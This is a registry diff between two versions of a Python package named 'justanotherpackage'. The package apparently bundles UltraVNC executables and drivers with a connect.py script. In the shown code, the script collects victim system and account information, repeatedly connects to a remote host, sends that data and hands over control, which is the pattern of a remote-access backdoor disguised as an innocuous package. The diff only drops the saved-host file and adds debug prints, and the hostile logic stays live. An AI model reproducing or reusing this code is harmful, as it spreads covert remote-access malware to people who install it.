justanotherpackage 0.1.4__tar.gz → 0.1.6__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (20) hide show
  1. {justanotherpackage-0.1.4 → justanotherpackage-0.1.6}/PKG-INFO +1 -1
  2. {justanotherpackage-0.1.4 → justanotherpackage-0.1.6}/justanotherpackage/connect.py +3 -17
  3. {justanotherpackage-0.1.4 → justanotherpackage-0.1.6}/justanotherpackage.egg-info/PKG-INFO +1 -1
  4. {justanotherpackage-0.1.4 → justanotherpackage-0.1.6}/setup.py +1 -1
  5. {justanotherpackage-0.1.4 → justanotherpackage-0.1.6}/MANIFEST.in +0 -0
  6. {justanotherpackage-0.1.4 → justanotherpackage-0.1.6}/justanotherpackage/__init__.py +0 -0
  7. {justanotherpackage-0.1.4 → justanotherpackage-0.1.6}/justanotherpackage/core.py +0 -0
  8. {justanotherpackage-0.1.4 → justanotherpackage-0.1.6}/justanotherpackage/vnc/SecureVNCPlugin.dsm +0 -0
  9. {justanotherpackage-0.1.4 → justanotherpackage-0.1.6}/justanotherpackage/vnc/UVncVirtualDisplay/UVncVirtualDisplay.dll +0 -0
  10. {justanotherpackage-0.1.4 → justanotherpackage-0.1.6}/justanotherpackage/vnc/UVncVirtualDisplay/UVncVirtualDisplay.inf +0 -0
  11. {justanotherpackage-0.1.4 → justanotherpackage-0.1.6}/justanotherpackage/vnc/UVncVirtualDisplay/uvncvirtualdisplay.cat +0 -0
  12. {justanotherpackage-0.1.4 → justanotherpackage-0.1.6}/justanotherpackage/vnc/UltraVNC.ini +0 -0
  13. {justanotherpackage-0.1.4 → justanotherpackage-0.1.6}/justanotherpackage/vnc/ddengine.dll +0 -0
  14. {justanotherpackage-0.1.4 → justanotherpackage-0.1.6}/justanotherpackage/vnc/logging.dll +0 -0
  15. {justanotherpackage-0.1.4 → justanotherpackage-0.1.6}/justanotherpackage/vnc/vnchooks.dll +0 -0
  16. {justanotherpackage-0.1.4 → justanotherpackage-0.1.6}/justanotherpackage/vnc/winvnc.exe +0 -0
  17. {justanotherpackage-0.1.4 → justanotherpackage-0.1.6}/justanotherpackage.egg-info/SOURCES.txt +0 -0
  18. {justanotherpackage-0.1.4 → justanotherpackage-0.1.6}/justanotherpackage.egg-info/dependency_links.txt +0 -0
  19. {justanotherpackage-0.1.4 → justanotherpackage-0.1.6}/justanotherpackage.egg-info/top_level.txt +0 -0
  20. {justanotherpackage-0.1.4 → justanotherpackage-0.1.6}/setup.cfg +0 -0
@@ -1,5 +1,5 @@
1
1
  Metadata-Version: 2.2
2
2
  Name: justanotherpackage
3
- Version: 0.1.4
3
+ Version: 0.1.6
4
4
  Requires-Python: >=3.6
5
5
  Dynamic: requires-python
@@ -6,7 +6,6 @@ import ctypes
6
6
  import threading
7
7
  import requests
8
8
  from wmi import WMI
9
- import os
10
9
 
11
10
  def check_account_type():
12
11
  try:
@@ -37,31 +36,18 @@ def get_client_info():
37
36
  }
38
37
  return client_info
39
38
 
40
- def save_connection_info(HOST, PORT):
41
- if not os.path.exists('connection_info.txt'):
42
- with open('connection_info.txt', 'w') as f:
43
- f.write(f"{HOST}:{PORT}\n")
44
-
45
- def get_connection_info():
46
- if os.path.exists('connection_info.txt'):
47
- with open('connection_info.txt', 'r') as f:
48
- connection_info = f.readline().strip()
49
- HOST, PORT = connection_info.split(':')
50
- return HOST, int(PORT)
51
- else:
52
- return None, None
53
-
54
39
  def start_connection(HOST, PORT):
55
- save_connection_info(HOST, PORT)
56
40
  while True:
57
41
  try:
58
42
  client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
59
43
  client_socket.connect((HOST, PORT))
60
44
  client_info = get_client_info()
61
45
  client_socket.sendall(str(client_info).encode('utf-8'))
46
+ print(f"{client_info} sent to: {HOST}:{PORT}")
62
47
  threading.Thread(target=handle_connection, args=(HOST, PORT)).start()
63
48
  handle_connection(client_socket)
64
- except:
49
+ except Exception as e:
50
+ print(e)
65
51
  time.sleep(5)
66
52
  finally:
67
53
  client_socket.close()
@@ -1,5 +1,5 @@
1
1
  Metadata-Version: 2.2
2
2
  Name: justanotherpackage
3
- Version: 0.1.4
3
+ Version: 0.1.6
4
4
  Requires-Python: >=3.6
5
5
  Dynamic: requires-python
@@ -2,7 +2,7 @@ from setuptools import setup, find_packages
2
2
 
3
3
  setup(
4
4
  name="justanotherpackage",
5
- version="0.1.4",
5
+ version="0.1.6",
6
6
  packages=find_packages(),
7
7
  python_requires=">=3.6",
8
8
  include_package_data=True,